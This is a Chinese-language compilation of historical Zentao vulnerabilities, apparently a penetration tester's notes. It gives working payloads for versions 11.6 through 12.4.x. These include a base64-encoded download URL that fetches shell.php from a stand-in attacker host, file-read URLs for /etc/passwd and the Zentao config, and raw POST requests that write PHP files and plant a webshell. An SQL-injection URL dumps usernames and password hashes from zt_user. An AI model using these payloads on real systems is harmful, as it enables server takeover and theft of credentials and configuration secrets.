禅道（Zentao）历史漏洞汇总

阅读前注意事项

1. 代码块中未展示具体数据包细节的路由配置均为GET请求
2. 使用Payload时须确保请求包包含有效的Referer请求头

漏洞汇总

信息收集

版本号探测

查看当前禅道版本号：

1

/zentao/index.php?mode=getconfig

绝对路径探测

禅道敏感文件

1

CNVD-2020-121325

影响范围：10.x < 禅道开源版 < 12.4.3

测试版本：禅道开源版 v12.3

探测

无害化测试漏洞是否存在：

1. 向服务器写入一个test.txt

   1	/zentao/client-download-1-RlRQOi8vdGVzdC50eHQ=.html

2. 判断是否写入成功

   1	/zentao/data/client/1/test.txt

   若服务器返回200响应，且响应体为空，响应头类型为text/plain，即为写入成功。

利用

任意文件上传：

1. 将攻击者恶意文件地址Base64编码替换即可

   1	/zentao/client-download-1-SFRUUFM6Ly9BdHRhY2tlci5jb20vc2hlbGwucGhw.html

任意文件读取：

1. 读取/etc/passwd

   1	/zentao/client-download-1-ZmlsZTovLy9ldGMvcGFzc3dk.html

2. 读取禅道配置文件(/opt/zbox/app/zentao/config/my.php)

   1	/zentao/client-download-1-ZmlsZTovLy9vcHQvemJveC9hcHAvemVudGFvL2NvbmZpZy9teS5waHA=.html

3. 读取系统版本(/etc/issue)

   1	/zentao/client-download-1-ZmlsZTovLy9ldGMvaXNzdWU=.html

开源版11.6漏洞合集

影响范围： 禅道开源版 == 11.6

测试版本：禅道开源版 v11.6

任意文件读取

文件读取Payload1：

1

/zentao/api-getModel-file-parseCSV-fileName=/etc/passwd

文件读取Payload2

1

/zentao/api-getModel-api-getMethod-filePath=/etc/passwd/1

任意文件写入

方法一：任意文件写入

1
2
3
4
5
6
7
8

POST /zentao/api-getModel-editor-save-filePath=/tmp/test.php HTTP/1.1
Host: 127.0.0.1:1081
Referer: http://127.0.0.1:1081/zentao/my/
Cookie: lang=zh-cn; theme=default; device=desktop; windowWidth=1300; windowHeight=764; zentaosid=krthj71e2vuvi9jqjqbq2qu1d1
Content-Type: application/x-www-form-urlencoded
Content-Length: 30

fileContent=<?php phpinfo();?>

注意事项：此处不管是什么后缀都会直接变成无后缀文件（/tmp/test），可以考虑配合二进制文件利用。

https://wiki.timlzh.com/POChouse/wiki/%5B%2B%5D%20%E5%8D%8F%E5%90%8C%E5%8A%9E%E5%85%ACOA%E7%B3%BB%E7%BB%9F/Zentao-%E7%A6%85%E9%81%93/%E7%A6%85%E9%81%93%2011.6%E7%89%88%E6%9C%AC%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E5%86%99%E5%85%A5%E6%BC%8F%E6%B4%9E/
方法二：任意文件写入+文件包含
数据包一：

1
2
3
4
5
6
7
8

POST /zentao/api-getModel-editor-save-filePath=/tmp/test.php HTTP/1.1
Host: 127.0.0.1:1081
Referer: http://127.0.0.1:1081/zentao/my/
Cookie: lang=zh-cn; theme=default; device=desktop; windowWidth=1300; windowHeight=764; zentaosid=krthj71e2vuvi9jqjqbq2qu1d1
Content-Type: application/x-www-form-urlencoded
Content-Length: 30

fileContent=<?php file_put_contents('/opt/zbox/app/zentao/www/shell.php', '<?php phpinfo();?>');?>

数据包二：

1

/zentao/api-getModel-api-getMethod-filePath=/tmp/test/1

SQL注入

查询当前网站的账号密码

1

/zentao/api-getModel-api-sql-sql=select+account,password+from+zt_user

信息泄露

仅泄露account、realname、email，价值不大

1

/zentao/api-getModel-user-getRealNameAndEmails-users=admin